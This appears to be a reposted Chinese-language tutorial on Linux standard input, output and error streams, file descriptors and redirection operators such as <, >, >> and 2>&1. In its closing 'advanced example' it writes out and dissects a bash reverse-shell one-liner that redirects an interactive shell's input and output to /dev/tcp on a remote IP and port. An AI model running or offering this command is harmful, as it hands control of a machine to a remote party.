linux标准输入输出以及重定向
2022/9/7 5:22:52
本文主要是介绍linux标准输入输出以及重定向,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.经常遇到< << > >> 0>&1是什么意思
以上表示某种输入输出重定向,具体了解前要知道什么是标准输入输出。
2.什么是标准输入输出
标准输入输出实际完整的叫法是标准输入输出文件。 linux系统中一切设备都是文件,都是对文件的操作。 具体就是: 标准输入文件(stdin),通常对应终端的键盘; 标准输出文件(stdout),这个文件都对应终端的屏幕。 还有个错误输出。 进程分别 将从标准输入文件中得到输入数据 将正常输出数据输出到标准输出文件, 将错误信息送到标准错误文件中。
3.关于重定向:
输入重定向:指把命令(或可执行程序)的标准输入重定向到指定的文件中。 也就是说,输入可以不来自键盘,而来自一个指定的文件。 所以说,输入重定向主要用于改变一个命令的输入源,特别是改变那些需要大量输入的输入源。 输出重定向:指把命令(或可执行程序)的标准输出或标准错误输出重新定向到指定文件中。这样,该命令的输出就不显示在屏幕上,而是写入到指定文件中。
各自符号的重定向表示
一般程序有输入和输出,默认都是标准输入的,可自定义: <:就是标准输入重定向,可以从文件中输入(读取) 其实就是将某某文件作为程序读入。(全称应该是0<) 比如:command < file >:就是标准输出重定向,可以重定向到文件(会覆盖),网络 其实就是将程序输出内容写到某某文件。(全称应该是1>) 比如:command > file 如果是:0>,应该就是将键盘输入内容写入某某中 >>:如果重定向到文件,以追加方式输出到文件 比如:command >> file 标准输入输出还有文件描述符,主要用于标准输入输出之间重定向以及错误输出的重定向。 0 是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。 写法: 1.重定向符号(< >)左边和文件描述符数字之间不能有空格 ,如:2> 2.如果重定向的目标(符号右边)是文件文件描述符数字需要加&符号,不然认为是文件。 3.&还有将错误输入和标准输出合并输出的意思 比如: 1.> 2,意思是输出到文件名称是2的文件中。 2.> &2,意思输出到错误输出 3.bash -i > & /dev/tcp/192.168.1.1/9090 ,意思将标准和错误都输出到网络中 (bash -i > /dev/tcp/192.168.1.1/9090,只将标准输出内容写入网络) 例子: 1.错误输出到文件file $ command 2>file 2.输出和错误输出都输出到文件中 $ command > file 2>&1 3.从文件1读取,输出文件2 $ command < file1 >file2 提升例子: bash -i >& /dev/tcp/10.201.61.194/6767 1.bash -i:生成交互的命令行 2.>& /dev/tcp/10.201.61.194/6767:bash解释器会对/dev/tcp对特殊处理,建立tcp socket,那么就是标准和错误输出写到网络中 3.0>&1:键盘标准输入写到标准输出, 对整个命令错误的理解:输入写到网络中,那么就该是: 0>& /dev/tcp/10.201.61.194/6767 正确理解:输入,标准输出,错误输出都会写入网络。 特别注意:0>&1 的写法!输入做输出!
这篇关于linux标准输入输出以及重定向的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-18git仓库有更新,jenkins 自动触发拉代码怎么配置的?-icode9专业技术文章分享
- 2024-12-18Jenkins webhook 方式怎么配置指定的分支?-icode9专业技术文章分享
- 2024-12-13Linux C++项目实战入门教程
- 2024-12-13Linux C++编程项目实战入门教程
- 2024-12-11Linux部署Scrapy教程:新手入门指南
- 2024-12-11怎么将在本地创建的 Maven 仓库迁移到 Linux 服务器上?-icode9专业技术文章分享
- 2024-12-10Linux常用命令
- 2024-12-06谁看谁服! Linux 创始人对于进程和线程的理解是…
- 2024-12-04操作系统教程:新手入门及初级技巧详解
- 2024-12-04操作系统入门:新手必学指南